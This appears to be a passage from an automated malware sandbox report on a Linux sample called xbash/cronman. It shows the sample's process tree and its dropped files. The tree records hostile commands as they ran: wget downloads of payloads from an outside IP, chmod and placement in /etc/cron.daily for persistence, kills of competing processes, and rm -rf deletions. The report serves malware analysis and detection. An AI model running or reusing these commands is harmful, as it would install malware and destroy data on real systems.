                                                                                                                                                                                                                                                                                                              PID:609
                                                                                                                                                                                                                                                                                                            • rm
                                                                                                                                                                                                                                                                                                              rm -rf "/home/*/.local/share/Trash/*/**"
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:613
                                                                                                                                                                                                                                                                                                              • rm
                                                                                                                                                                                                                                                                                                                rm -rf "/root/.local/share/Trash/*/**"
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:614
                                                                                                                                                                                                                                                                                                                • rm
                                                                                                                                                                                                                                                                                                                  rm -rf "/usr/share/man/??"
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:615
                                                                                                                                                                                                                                                                                                                  • rm
                                                                                                                                                                                                                                                                                                                    rm -rf "/usr/share/man/??_*"
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:616
                                                                                                                                                                                                                                                                                                                    • rm
                                                                                                                                                                                                                                                                                                                      rm -rf "/core.*"
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:617
                                                                                                                                                                                                                                                                                                                      • rm
                                                                                                                                                                                                                                                                                                                        rm -fr /root/install
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:618
                                                                                                                                                                                                                                                                                                                        • rm
                                                                                                                                                                                                                                                                                                                          rm -fr /boot/xmrig
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:619
                                                                                                                                                                                                                                                                                                                          • rm
                                                                                                                                                                                                                                                                                                                            rm -fr /root/xmrig
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:620
                                                                                                                                                                                                                                                                                                                            • rm
                                                                                                                                                                                                                                                                                                                              rm -fr /kinettd
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                PID:621
                                                                                                                                                                                                                                                                                                                              • pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 abrtd
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:622
                                                                                                                                                                                                                                                                                                                              • arch
                                                                                                                                                                                                                                                                                                                                arch
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:623
                                                                                                                                                                                                                                                                                                                                • arch
                                                                                                                                                                                                                                                                                                                                  arch
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                    PID:624
                                                                                                                                                                                                                                                                                                                                  • arch
                                                                                                                                                                                                                                                                                                                                    arch
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:625
                                                                                                                                                                                                                                                                                                                                    • cat
                                                                                                                                                                                                                                                                                                                                      cat /dev/null
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                        PID:626
                                                                                                                                                                                                                                                                                                                                      • rm
                                                                                                                                                                                                                                                                                                                                        rm -fr /root/gcclib
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                          PID:627
                                                                                                                                                                                                                                                                                                                                        • rm
                                                                                                                                                                                                                                                                                                                                          rm -fr /usr/spirit
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:628
                                                                                                                                                                                                                                                                                                                                          • rm
                                                                                                                                                                                                                                                                                                                                            rm -fr /root/tmp
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                              PID:629
                                                                                                                                                                                                                                                                                                                                            • rm
                                                                                                                                                                                                                                                                                                                                              rm -fr /var/lib/libgcc_a.tar.gz
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:630
                                                                                                                                                                                                                                                                                                                                              • rm
                                                                                                                                                                                                                                                                                                                                                rm -fr /etc/cron.daily/xbash
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:631
                                                                                                                                                                                                                                                                                                                                              • rm
                                                                                                                                                                                                                                                                                                                                                rm -rf /tmp/selfgz327
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                  PID:632
                                                                                                                                                                                                                                                                                                                                              • which
                                                                                                                                                                                                                                                                                                                                                which md5sum
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                  PID:338
                                                                                                                                                                                                                                                                                                                                                • which
                                                                                                                                                                                                                                                                                                                                                  which shasum
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                    PID:340
                                                                                                                                                                                                                                                                                                                                                  • wc
                                                                                                                                                                                                                                                                                                                                                    wc -c
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                      PID:343
                                                                                                                                                                                                                                                                                                                                                    • sed
                                                                                                                                                                                                                                                                                                                                                      sed "s/ //g"
                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                        PID:344
                                                                                                                                                                                                                                                                                                                                                      • head
                                                                                                                                                                                                                                                                                                                                                        head -n 714 /tmp/xbash
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                          PID:342
                                                                                                                                                                                                                                                                                                                                                        • cat
                                                                                                                                                                                                                                                                                                                                                          cat /tmp/xbash
                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                            PID:346
                                                                                                                                                                                                                                                                                                                                                          • wc
                                                                                                                                                                                                                                                                                                                                                            wc -c
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                              PID:347
                                                                                                                                                                                                                                                                                                                                                            • sed
                                                                                                                                                                                                                                                                                                                                                              sed "s/ //g"
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                PID:348
                                                                                                                                                                                                                                                                                                                                                              • cut
                                                                                                                                                                                                                                                                                                                                                                cut "-d " -f1
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:352
                                                                                                                                                                                                                                                                                                                                                                • cut
                                                                                                                                                                                                                                                                                                                                                                  cut "-d " -f1
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:356
                                                                                                                                                                                                                                                                                                                                                                  • cut
                                                                                                                                                                                                                                                                                                                                                                    cut "-d " -f1
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:360
                                                                                                                                                                                                                                                                                                                                                                    • cut
                                                                                                                                                                                                                                                                                                                                                                      cut -b-32
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:364
                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                        /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:366
                                                                                                                                                                                                                                                                                                                                                                        • expr
                                                                                                                                                                                                                                                                                                                                                                          expr 4194304 / 4
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:365
                                                                                                                                                                                                                                                                                                                                                                          • expr
                                                                                                                                                                                                                                                                                                                                                                            expr 1048576 / 4
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:367
                                                                                                                                                                                                                                                                                                                                                                            • expr
                                                                                                                                                                                                                                                                                                                                                                              expr 262144 / 4
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:368
                                                                                                                                                                                                                                                                                                                                                                              • expr
                                                                                                                                                                                                                                                                                                                                                                                expr 65536 / 4
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:369
                                                                                                                                                                                                                                                                                                                                                                                • expr
                                                                                                                                                                                                                                                                                                                                                                                  expr 34497 / 16384
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:370
                                                                                                                                                                                                                                                                                                                                                                                  • expr
                                                                                                                                                                                                                                                                                                                                                                                    expr 34497 "%" 16384
                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:371
                                                                                                                                                                                                                                                                                                                                                                                    • dd
                                                                                                                                                                                                                                                                                                                                                                                      dd "ibs=18556" "skip=1" "count=0"
                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:373
                                                                                                                                                                                                                                                                                                                                                                                      • expr
                                                                                                                                                                                                                                                                                                                                                                                        expr 0 + 16384
                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:374
                                                                                                                                                                                                                                                                                                                                                                                        • dd
                                                                                                                                                                                                                                                                                                                                                                                          dd "bs=16384" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:375
                                                                                                                                                                                                                                                                                                                                                                                          • expr
                                                                                                                                                                                                                                                                                                                                                                                            expr 34497 / 100
                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:376
                                                                                                                                                                                                                                                                                                                                                                                            • expr
                                                                                                                                                                                                                                                                                                                                                                                              expr 16384 / 344
                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:377
                                                                                                                                                                                                                                                                                                                                                                                              • expr
                                                                                                                                                                                                                                                                                                                                                                                                expr 16384 + 16384
                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:378
                                                                                                                                                                                                                                                                                                                                                                                                • dd
                                                                                                                                                                                                                                                                                                                                                                                                  dd "bs=16384" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:379
                                                                                                                                                                                                                                                                                                                                                                                                  • expr
                                                                                                                                                                                                                                                                                                                                                                                                    expr 34497 / 100
                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:380
                                                                                                                                                                                                                                                                                                                                                                                                    • expr
                                                                                                                                                                                                                                                                                                                                                                                                      expr 32768 / 344
                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:381
                                                                                                                                                                                                                                                                                                                                                                                                      • expr
                                                                                                                                                                                                                                                                                                                                                                                                        expr 32768 + 16384
                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:382
                                                                                                                                                                                                                                                                                                                                                                                                        • dd
                                                                                                                                                                                                                                                                                                                                                                                                          dd "bs=1729" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:383
                                                                                                                                                                                                                                                                                                                                                                                                          • head
                                                                                                                                                                                                                                                                                                                                                                                                            head -n 714 /tmp/xbash
                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:387
                                                                                                                                                                                                                                                                                                                                                                                                            • wc
                                                                                                                                                                                                                                                                                                                                                                                                              wc -c
                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:388
                                                                                                                                                                                                                                                                                                                                                                                                              • sed
                                                                                                                                                                                                                                                                                                                                                                                                                sed "s/ //g"
                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:389
                                                                                                                                                                                                                                                                                                                                                                                                                • df
                                                                                                                                                                                                                                                                                                                                                                                                                  df -k /tmp/selfgz327
                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:392
                                                                                                                                                                                                                                                                                                                                                                                                                  • tail
                                                                                                                                                                                                                                                                                                                                                                                                                    tail -1
                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:393
                                                                                                                                                                                                                                                                                                                                                                                                                    • awk
                                                                                                                                                                                                                                                                                                                                                                                                                      awk "{ if (\$4 ~ /%/) {print \$3} else {print \$4} }"
                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:394
                                                                                                                                                                                                                                                                                                                                                                                                                      • gzip
                                                                                                                                                                                                                                                                                                                                                                                                                        gzip -cd
                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:399
                                                                                                                                                                                                                                                                                                                                                                                                                        • expr
                                                                                                                                                                                                                                                                                                                                                                                                                          expr 4194304 / 4
                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:398
                                                                                                                                                                                                                                                                                                                                                                                                                          • tar
                                                                                                                                                                                                                                                                                                                                                                                                                            tar xpvf -
                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:400
                                                                                                                                                                                                                                                                                                                                                                                                                          • expr
                                                                                                                                                                                                                                                                                                                                                                                                                            expr 1048576 / 4
                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:401
                                                                                                                                                                                                                                                                                                                                                                                                                            • expr
                                                                                                                                                                                                                                                                                                                                                                                                                              expr 262144 / 4
                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:402
                                                                                                                                                                                                                                                                                                                                                                                                                              • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                expr 65536 / 4
                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:403
                                                                                                                                                                                                                                                                                                                                                                                                                                • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                  expr 34497 / 16384
                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:404
                                                                                                                                                                                                                                                                                                                                                                                                                                  • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                    expr 34497 "%" 16384
                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:405
                                                                                                                                                                                                                                                                                                                                                                                                                                    • dd
                                                                                                                                                                                                                                                                                                                                                                                                                                      dd "ibs=18556" "skip=1" "count=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:407
                                                                                                                                                                                                                                                                                                                                                                                                                                      • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                        expr 0 + 16384
                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:408
                                                                                                                                                                                                                                                                                                                                                                                                                                        • dd
                                                                                                                                                                                                                                                                                                                                                                                                                                          dd "bs=16384" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:409
                                                                                                                                                                                                                                                                                                                                                                                                                                          • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                            expr 34497 / 100
                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:410
                                                                                                                                                                                                                                                                                                                                                                                                                                            • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                              expr 16384 / 344
                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:411
                                                                                                                                                                                                                                                                                                                                                                                                                                              • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                                expr 16384 + 16384
                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:412
                                                                                                                                                                                                                                                                                                                                                                                                                                                • dd
                                                                                                                                                                                                                                                                                                                                                                                                                                                  dd "bs=16384" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:413
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                                    expr 34497 / 100
                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:414
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                                      expr 32768 / 344
                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:415
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • expr
                                                                                                                                                                                                                                                                                                                                                                                                                                                        expr 32768 + 16384
                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:416
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • dd
                                                                                                                                                                                                                                                                                                                                                                                                                                                          dd "bs=1729" "count=1"
                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:417
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • dirname
                                                                                                                                                                                                                                                                                                                                                                                                                                                            dirname ./cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:422
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • ps
                                                                                                                                                                                                                                                                                                                                                                                                                                                              ps cax
                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:425
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                              grep cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:426
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • wc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                wc -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:427
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • dirname
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dirname ./cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:438
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sed -r "s/ //g"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:447
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sed -r "s#(http?://)?([^/]+)(.*)#\\15.133.65.53\\3#"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:450
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • wget
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wget -h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:451
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          grep -q -- --tries
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:452
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • wget
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wget "--timeout=2" "--tries=3" -O /tmp/selfgz327/tmp.file http://5.133.65.53/soft/linux/cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:453
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • cat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            cat /tmp/selfgz327/tmp.file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:454
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • mv
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              mv -f /tmp/selfgz327/tmp.file /tmp/selfgz327/.cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:455
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • chmod
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              chmod 755 /tmp/selfgz327/.cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sed -r "s/ //g"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:461
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sed -r "s#(http?://)?([^/]+)(.*)#\\15.133.65.53\\3#"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:464
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • wget
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wget -h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:465
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      grep -q -- --tries
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:466
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • wget
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wget "--timeout=2" "--tries=3" -O /tmp/selfgz327/tmp.file http://5.133.65.53/soft/linux/xbash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:467
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • cat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        cat /tmp/selfgz327/tmp.file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:468
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • mkdir
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          mkdir -p /root/gcclib
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:469
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • date
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            date "+%F %T"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:470
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • mv
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              mv -f /tmp/selfgz327/tmp.file /etc/cron.daily/xbash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:471
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • chmod
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                chmod 755 /etc/cron.daily/xbash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:472
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • dirname
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dirname /tmp/selfgz327/.cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:477
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • ps
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ps cax
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:480
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    grep -v grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:481
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      grep -v "[d]efunct"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:482
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        grep cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:483
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • wc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wc -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:484

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cronman.pid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Path /etc/xbash/cronman.pid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Size 4B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • SHA256 f497f18670edafef25de408fd94e53557484ae9b47a206bc9bb5c0f33aa018e7
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                date
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Path /root/gcclib/date
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Size 20B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • SHA256 284566351a7fcd7337f34550a748faf7700fd5ff45ac88ab5b14a5105f9f9c41
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Path /tmp/selfgz327/cronman
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Size 193KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • SHA256 98b80efb680949f2b94a7ecce911ae84037c30d1cb739eb43778ed3be5121655
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                tmp.file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Path /tmp/selfgz327/tmp.file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Size 216KB
